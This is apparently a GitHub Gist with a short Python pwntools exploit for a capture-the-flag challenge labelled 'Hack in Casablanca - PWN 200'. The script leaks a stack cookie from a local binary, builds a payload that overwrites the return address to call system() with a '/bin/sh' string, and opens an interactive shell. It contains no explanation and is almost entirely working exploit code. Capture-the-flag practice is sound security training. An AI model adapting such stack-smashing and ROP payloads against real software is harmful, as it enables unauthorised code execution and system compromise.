Created
April 1, 2018 14:10
-
-
Save 0xPwny/a9fb4abad1684c93cd13351a4cefdc64 to your computer and use it in GitHub Desktop.
Hack in Casablanca - PWN 200
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
#RUN IT AND [HOPE] IT WILL JUMP TO YOUR [ROP] :D | |
r = process("./ch2") | |
pause() | |
r.recvuntil("ID:") | |
COOKIE = r.recvline().strip() | |
binsh = 0x08048875 | |
systemplt = 0x80484a0 | |
#exitplt = 0x080484b0 | |
pld1 = "A"*4 | |
pld1 += p32(systemplt) | |
pld1 += "A"*4 | |
pld1 += p32(binsh) | |
pld2 = pld1*4 | |
pld2 += COOKIE | |
pld2 += p32(0x0) | |
r.sendline(pld2) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment